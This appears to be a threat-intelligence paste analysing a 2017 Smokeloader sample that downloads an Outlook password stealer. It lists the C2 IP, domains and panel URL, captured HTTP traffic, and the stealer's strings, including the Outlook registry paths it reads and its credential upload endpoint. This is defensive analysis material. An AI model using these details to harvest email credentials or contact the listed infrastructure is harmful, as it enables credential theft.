PepperPotts

smokeloader, downloading outlook stealer (2017-12-07)

Mar 25th, 2018
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  1. #SMOKELOADER
  2.  
  3. 35103341abb740021017ce2757b186051920993aebe22ce413654eb7abe076de (First Submission 2017-12-07 09:22:53)
  4.  
  5. *Readable text of communications with CnC:
  6.  
  7. -POSTs to http://104.168.140.87/blog/
  8.  
  9. -Answers "HTTP 404 Not Found" with content
  10.  
  11. -Second response is a PE file (some interesting strings from the PE file: OutlookPasswordRecovery, decryptOutlookPassword, ...)
  12.  
  13. -Third response with some additional urls:
  14. -PANEL: http://inseltech.com.mx/t1/lala.php
  15. -OPENDIR: http://inseltech.com.mx/t1/
  16. counter.txt -> stolen data
  17. host.php
  18. lala.php
  19. out.exe
  20.  
  21. ---------------------------------------------------------------------------------------------------------
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  25.  
  26. * tcp localhost:52606 ---> 104.168.140.87:80
  27.  
  28. ---------------------------------------------------------------------------------------------------------
  29. POST /blog/ HTTP/1.1[...]Cache-Control: no-cache[...]Connection: Keep-Alive[...]Pragma: no-cache[...]Content-Type: application/x-www-form-urlencoded[...]Host: pokpok.bit[...]User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)[...]Content-Length: 63[...]hIZz[...])
  30.  
  31. ---------------------------------------------------------------------------------------------------------
  32. POST /blog/ HTTP/1.1[...]Cache-Control: no-cache[...]Connection: Keep-Alive[...]Pragma: no-cache[...]Content-Type: application/x-www-form-urlencoded[...]Host: pokpok.bit[...]User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)[...]Content-Length: 63[...]hIZz[...])
  33.  
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  35. POST /blog/ HTTP/1.1[...]Cache-Control: no-cache[...]Connection: Keep-Alive[...]Pragma: no-cache[...]Content-Type: application/x-www-form-urlencoded[...]Host: pokpok.bit[...]User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)[...]Content-Length: 63[...]hIZz
  36.  
  37.  
  38. ---------------------------------------------------------------------------------------------------------
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  42.  
  43. * tcp 104.168.140.87:80 ---> localhost:52606
  44.  
  45. ---------------------------------------------------------------------------------------------------------
  46. HTTP/1.1 404 Not Found[...]Server: nginx/1.12.2[...]Date: Fri, 23 Mar 2018 03:11:57 GMT[...]Content-Type: text/html; charset=windows-1251[...]Transfer-Encoding: chunked[...]Connection: keep-alive[...]X-Powered-By: PHP/5.5.38[...]1f4f[...]6e7V[...]W T|
  47.  
  48. ---------------------------------------------------------------------------------------------------------
  49. HTTP/1.1 404 Not Found[...]Server: nginx/1.12.2[...]Date: Fri, 23 Mar 2018 03:12:22 GMT[...]Content-Type: text/html; charset=windows-1251[...]Transfer-Encoding: chunked[...]Connection: keep-alive[...]X-Powered-By: PHP/5.5.38[...]1f4f[...]!This program cannot be run in DOS mode.[...].text[...]`.sdata[...].rsrc[...]@.reloc[...]lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet[...]PADPADP[...]$%(#[...]"%(#[...]*Vs-[...]BSJB[...]v2.0.50727[...]#Strings[...]#GUID[...]#Blob[...]U\t8[...]c\t8[...]<Module>[...]mscorlib[...]Microsoft.VisualBasic[...]MyApplication[...]OutlookPasswordRecovery.My[...]MyComputer[...]MyProject[...]MyForms[...]MyWebServices[...]ThreadSafeObjectProvider`1[...]Module1[...]OutlookPasswordRecovery[...]RecoveredApplicationAccount[...]Resources[...]OutlookPasswordRecovery.My.Resources[...]MySettings[...]MySettingsProperty[...]Microsoft.VisualBasic.ApplicationServices[...]ConsoleApplicationBase[...].ctor[...]Microsoft.VisualBasic.Devices[...]Computer[...]System[...]Object[...].cctor[...]get_Computer[...]m_ComputerObjectProvider[...]get_Application[...]m_AppObjectProvider[...]User[...]get_User[...]m_UserObjectProvider[...]get_Forms[...]m_MyFormsObjectProvider[...]get_WebServices[...]m_MyWebServi[...]1000[...]cesObjectProvider[...]Application[...]Forms[...]WebServices[...]Create__Instance__[...]System.Windows.Forms[...]Form[...]Instance[...]Dispose__Instance__[...]instance[...]System.Collections[...]Hashtable[...]m_FormBeingCreated[...]Equals[...]GetHashCode[...]Type[...]GetType[...]ToString[...]get_GetInstance[...]m_ThreadStaticValue[...]GetInstance[...]System.Net[...]HttpWebRequest[...]request[...]HttpWebResponse[...]response[...]System.IO[...]StreamReader[...]reader[...]address[...]appId[...]context[...]query[...]System.Text[...]StringBuilder[...]data[...]byteData[...]Stream[...]postStream[...]Main[...]SendInfo[...]strSend[...]System.Collections.Generic[...]List`1[...]GetOutlookPasswords[...]decryptOutlookPassword[...]encryptedData[...]_appName[...]_username[...]_password[...]_URL[...]_Port[...]get_UserName[...]set_UserName[...]Value[...]get_Password[...]set_Password[...]get_URL[...]set_URL[...]get_appName[...]set_appName[...]get_Port[...]set_Port[...]UserName[...]Password[...]appName[...]Port[...]System.Resources[...]ResourceManager[...]resourceMan[...]System.Globalization[...]CultureInfo[...]resourceCulture[...]get_ResourceManager[...]get_Culture[...]set_Culture[...]Culture[...]System.Configuration[...]ApplicationSettingsBase[...]defaultInstance[...]get_Default[...]Default[...]get_Settings[...]Settings[...]Enumerator[...]get_Count[...]GetEnumerator[...]get_Current[...]String[...]Concat[...]MoveNext[...]IDisposable[...]Dispose[...]Strings[...]CompareMethod[...]InStr[...]Microsoft.VisualBasic.CompilerServices[...]ProjectData[...]EndApp[...]UTF8Encoding[...]System.Web[...]HttpUtility[...]UrlEncode[...]Encoding[...]GetBytes[...]WebRequest[...]Create[...]set_Method[...]set_KeepAlive[...]set_ContentType[...]set_Referer[...]set_UserAgent[...]set_ContentLength[...]GetRequestStream[...]Write[...]Close[...]WebResponse[...]GetResponse[...]GetResponseStream[...]ReadToEnd[...]Console[...]WriteLine[...]Microsoft.Win32[...]RegistryKey[...]Exception[...]Registry[...]CurrentUser[...]OpenSubKey[...]GetSubKeyNames[...]GetValue[...]System.Runtime.CompilerServices[...]RuntimeHelpers[...]GetObjectValue[...]Boolean[...]NewLateBinding[...]LateGet[...]SetProjectError[...]ClearProjectError[...]GetString[...]Replace[...]Convert[...]ToChar[...]Conversions[...]Byte[...]Buffer[...]Array[...]BlockCopy[...]get_UTF8[...]System.Security[...]System.Security.Cryptography[...]ProtectedData[...]DataProtectionScope[...]Unprotect[...]StandardModuleAttribute[...]STAThreadAttribute[...]System.ComponentModel[...]EditorBrowsableAttribute[...]EditorBrowsableState[...]System.CodeDom.Compiler[...]GeneratedCodeAttribute[...]System.Diagnostics[...]DebuggerHiddenAttribute[...]HideModuleNameAttribute[...]System.ComponentModel.Design[...]HelpKeywordAttribute[...]System.Reflection[...]TargetInvocationException[...]Control[...]get_IsDisposed[...]RuntimeTypeHandle[...]GetTypeFromHandle[...]ContainsKey[...]Utils[...]GetResourceString[...]InvalidOperationException[...]Activator[...]CreateInstance[...]get_InnerException[...]get_Message[...]Remove[...]Component[...]MyGroupCollectionAttribute[...]ThreadStaticAttribute[...]System.Runtime.InteropServices[...]ComVisibleAttribute[...]CompilerGeneratedAttribute[...]ReferenceEquals[...]Assembly[...]get_Assembly[...]DebuggerNonUserCodeAttribute[...]SettingsBase[...]Synchronized[...]OutlookPasswordRecovery.Resources.resources[...]DebuggableAttribute[...]DebuggingModes[...]CompilationRelaxationsAttribute[...]RuntimeCompatibilityAttribute[...]AssemblyFileVersionAttribute[...]GuidAttribute[...]AssemblyTrademarkAttribute[...]AssemblyCopyrightAttribute[...]AssemblyProductAttribute[...]AssemblyCompanyAttribute[...]AssemblyDescriptionAttribute[...]AssemblyTitleAttribute[...]OutlookPasswordRecovery.exe[...]AssemblyTitleAttribute[...]OutlookPasswordRecovery.exe[...]2000[...]MyTemplate[...]8.0.0.0[...]My.WebServices[...]My.Forms[...]My.Computer[...]My.User[...]My.Application[...]System.Windows.Forms.Form[...]Create__Instance__[...]Dispose__Instance__[...]My.MyProject.Forms[...]4System.Web.Services.Protocols.SoapHttpClientProtocol[...]Create__Instance__[...]Dispose__Instance__[...]3System.Resources.Tools.StronglyTypedResourceBuilder[...]4.0.0.0[...]KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator[...]12.0.0.0[...]My.Settings[...]WrapNonExceptionThrows[...]1.0.0.0[...]$5959a1e5-8c73-4b31-a9f8-1005a929b798[...]Copyright[...]2016[...]ConsoleApplication1[...]_CorExeMain[...]mscoree.dll[...]RSDS~[...]C:\\Users\\W7\\Downloads\\OutlookPasswordRecovery-master\\OutlookPasswordRecovery-master\\OutlookPasswordRecovery\\obj\\Release\\OutlookPasswordRecovery.pdb[...]wwwwwwwwwwwwww[...]wwwwwwwwwwwwww[...]wwwwwwwwwwwwww[...]wwwwwwwwwwwwww[...]wwwwwwwwwwwwww[...]wwwwwwwwwwwwww[...]wwwwwwwwwwwwww[...]wwwwwwwwwwwwww[...]wwwwww[...]wwwwww[...]wwwwww[...]wwwwww[...]1000[...]IHDR[...]pHYs[...]IDATx[...]IEND[...]10b5[...]<?xml version="1.0" encoding="UTF-8" standalone="yes"?>[...]<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">[...]<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>[...]<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">[...]<security>[...]<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">[...]<requestedExecutionLevel level="asInvoker" uiAccess="false"/>[...]</requestedPrivileges>[...]</security>[...]</trustInfo>[...]</assembly>[...]
  50.  
  51. ---------------------------------------------------------------------------------------------------------
  52. HTTP/1.1 404 Not Found[...]Server: nginx/1.12.2[...]Date: Fri, 23 Mar 2018 03:12:24 GMT[...]Content-Type: text/html; charset=windows-1251[...]Transfer-Encoding: chunked[...]Connection: keep-alive[...]X-Powered-By: PHP/5.5.38[...]<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">[...]<html><head>[...]<title>404 Not Found</title>[...]</head><body>[...]<h1>Not Found</h1>[...]<p>The requested URL /blog/ was not found on this server.</p>[...]<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>[...]<hr></body></html>[...]HTTP/1.1 404 Not Found[...]Server: nginx/1.12.2[...]Date: Fri, 23 Mar 2018 03:12:24 GMT[...]Content-Type: text/html; charset=windows-1251[...]Transfer-Encoding: chunked[...]Connection: keep-alive[...]X-Powered-By: PHP/5.5.38[...]<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">[...]<html><head>[...]<title>404 Not Found</title>[...]</head><body>[...]<h1>Not Found</h1>[...]<p>The requested URL /blog/ was not found on this server.</p>[...]<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>[...]<hr></body></html>[...]uuuu[...]hey=[...]http://inseltech.com.mx/t1/lala.php[...]POST[...]application/x-www-form-urlencoded[...]http://ggl.com[...]Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)[...]IMAP Password[...]POP3 Password[...]HTTP Password[...]SMTP Password[...]Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676[...]Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676[...]Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676[...]Softwar[...]hey=[...]http://inseltech.com.mx/t1/lala.php[...]POST[...]application/x-www-form-urlencoded[...]http://ggl.com[...]Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)[...]IMAP Password[...]POP3 Password[...]HTTP Password[...]SMTP Password[...]Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676[...]Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676[...]Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676[...]Softwar[...]e\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676[...]Email[...]GetBytes[...]SMTP Server[...]Nothing[...]SMTP Port[...]Outlook[...]WinForms_RecursiveFormCreate[...]WinForms_SeeInnerException[...]OutlookPasswordRecovery.Resources[...]VS_VERSION_INFO[...]VarFileInfo[...]Translation[...]StringFileInfo[...]000004b0[...]FileDescription[...]ConsoleApplication1[...]FileVersion[...]1.0.0.0[...]InternalName[...]OutlookPasswordRecovery.exe[...]LegalCopyright[...]Copyright[...]2016[...]OriginalFilename[...]OutlookPasswordRecovery.exe[...]ProductName[...]ConsoleApplication1[...]ProductVersion[...]1.0.0.0[...]Assembly Version[...]1.0.0.0
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